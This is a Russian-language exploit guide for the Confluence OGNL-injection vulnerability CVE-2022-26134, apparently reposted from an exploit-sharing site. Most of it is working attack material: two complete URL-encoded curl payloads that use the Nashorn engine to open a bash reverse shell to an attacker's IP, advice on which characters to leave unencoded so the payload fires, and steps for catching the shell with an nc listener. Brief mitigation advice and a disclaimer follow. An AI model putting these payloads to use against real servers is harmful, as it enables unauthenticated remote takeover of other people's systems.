Активная эксплуатация Confluence CVE-2022-26134

Обзор

CVE-2022-26134 — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая Atlassian Confluence. Эта уязвимость позволяет неаутентифицированным злоумышленникам выполнять произвольный код путем внедрения OGNL-выражений в уязвимые конечные точки.

Затронутые версии

• Все поддерживаемые версии Atlassian Confluence Server и Data Center до выпуска исправлений.

Детали эксплуатации

Следующая команда CURL демонстрирует активную эксплуатацию этой уязвимости, используя движок Nashorn Java для выполнения реверс-шелла:

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

Внося эти изменения, мы также должны учитывать URL-кодирование. Строка полезной нагрузки в доказательстве концепции не полностью закодирована в URL. Некоторые символы (а именно ".", "-" и "/") не кодируются. Хотя это не всегда так, для данного эксплойта это оказывается важным для функционирования полезной нагрузки. Если любой из этих символов закодирован, сервер будет интерпретировать URL иначе, и полезная нагрузка может не выполниться. Это означает, что мы не можем применить URL-кодирование ко всей полезной нагрузке после ее изменения.

curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/

Разбор полезной нагрузки

1. ${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval(...)}
   • Использует скриптовый движок Java Nashorn для выполнения OGNL-выражения.
2. new java.lang.ProcessBuilder().command('bash','-c','bash -i > /dev/tcp/10.0.0.28/1270 0>&1').start()
   • Запускает реверс-шелл, подключающийся обратно к 10.0.0.28:1270.

Этапы эксплуатации

1. Настройте прослушиватель на вашей атакующей машине:
   root@kitploit:~

   nc -lvnp 1270
   

2. Выполните команду эксплойта CURL.
3. При успешной эксплуатации вы получите реверс-шелл.

Смягчение

• Atlassian выпустила патчи безопасности для затронутых версий. Настоятельно рекомендуется немедленно обновиться до последней версии.
• Ограничьте доступ к серверам Confluence из ненадежных источников.
• Отслеживайте журналы на предмет подозрительных запросов, содержащих OGNL-выражения.

Ссылки

• Консультация по безопасности Atlassian
• Детали CVE-2022-26134

Отказ от ответственности

Эта документация предназначена только для образовательных целей. Несанкционированная эксплуатация систем незаконна и может привести к серьезным последствиям. Всегда получайте надлежащее разрешение перед проведением оценки безопасности.